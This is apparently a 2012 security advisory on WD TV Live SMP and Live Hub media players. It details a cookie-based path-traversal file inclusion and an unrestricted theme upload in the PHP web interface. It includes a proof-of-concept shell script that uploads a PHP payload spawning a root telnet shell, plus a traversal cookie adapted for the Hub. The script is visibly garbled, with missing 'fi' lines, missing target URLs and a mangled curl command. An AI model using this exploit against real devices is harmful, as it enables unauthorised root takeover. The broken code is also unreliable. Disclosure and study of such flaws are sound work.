Western Digital's WD TV Live SMP/Hub - Privilege Escalation








The WD TV Live Streaming Media Player is a consumer device to play 
various audio and video formats.
Additionally it allows access to multiple video streaming services like 
Netflix, Hulu or Youtube.[1]
The device allows customization of its user interface and limited remote 
administration using a web interface.

The LIVE SMP is running a customized Linux kernel and userland.
Parts of the firmware are released under the terms of the GNU General 
Public License.
Proprietary binaries are included in encrypted parts of the firmware 
which are decrypted during runtime.

1. Affected Versions
The analysed firmware is the latest version (1.07.15 as of 03/2012) as 
published on [2], prior versions are vulnerable too.
Large portions of the firmware are shared with the WDTV Live Hub[3] thus 
the presented findings are applyable on this device with minor changes 
as described later.

2. Attack Vector
The attack vector used to gain root access on the device involves two 
implementation flaws as described in the following sections.

2.1. User Input Validation Flaws
The web interface is written using the PHP language.
Several files contain user input validation flaws similar to the one 
described here.
Cookie header values in /opt/webserver/htdocs/index.php are not 
validated at all.
The provided cookie value is used within an include statement allowing 
the attacker to force inclusion of arbitrary files (as long as they are 
named home.php).

2.2. Possibility to Upload Arbitrary Files
To allow the customization of the user interface one may upload theme 
files (zip archives) through the web interface.
The contents of these archives are not restricted so adding a file named 
home.php is possible.

2.3. Limitations
Most of the PHP files of the web interface include security.php which 
limits access to the networks IP/subnet mask combination the LIVE SMP is 
connected to.
Aformended index.php is guarded by this security measure but uploading 
theme file using upload.php is possible from any IP address.

3. Proof of Concept
The following script will spawn a telnet daemon providing access to a 
root shell on the device.
(needs zip and curl binaries)


if [ $# != 1 ]; then
  echo "Root Exploit for WDTV Live SMP\n\nUsing default 
target=${TARGET}\nUSAGE: $0 <target>\n\n"

if [ ! -f "home.php" ]; then
  echo '<?php system("telnetd -l /bin/sh");print "\nUnd es hat blub 
gemacht.\n\n";exit();' > home.php

if [ ! -f "${THEME_NAME}.zip" ]; then
  touch meta.xml
  zip ${THEME_NAME} home.php meta.xml

echo "Uploading ${THEME_NAME}.zip:"
curl -F appearance= () ${THEME_NAME} zip -o /dev/null \

echo "\n\nRunning payload:"
curl --cookie "language=../../../../usrdata/.wd_tv/theme/${THEME_NAME}" \

4. Adaption for the Live Hub
As the LIVE HUB does not have the ability to upload themes through the 
web interface, one needs to use a different angle to upload the payload:
Using the samba share WDTVLiveHub. Thus the language cookie has to be 
adapted as shown here:

curl --cookie "language=../../../../mediaitems/Local/WDTVLiveHub/" \

5. Code, Whitepaper, Example Session, References
Code, whitepaper, example session: http://hammerhead.shark23.de

[1] Western Digital. WD TV Live, .
URL http://wdc.com/en/products/products.aspx?id=330.
[2] Western Digital. Downloads WD TV Live Streaming Media Player (Gen 
3), 2012.
[3] Western Digital. WD TV Live Hub, .
URL http://wdc.com/en/products/products.aspx?id=570.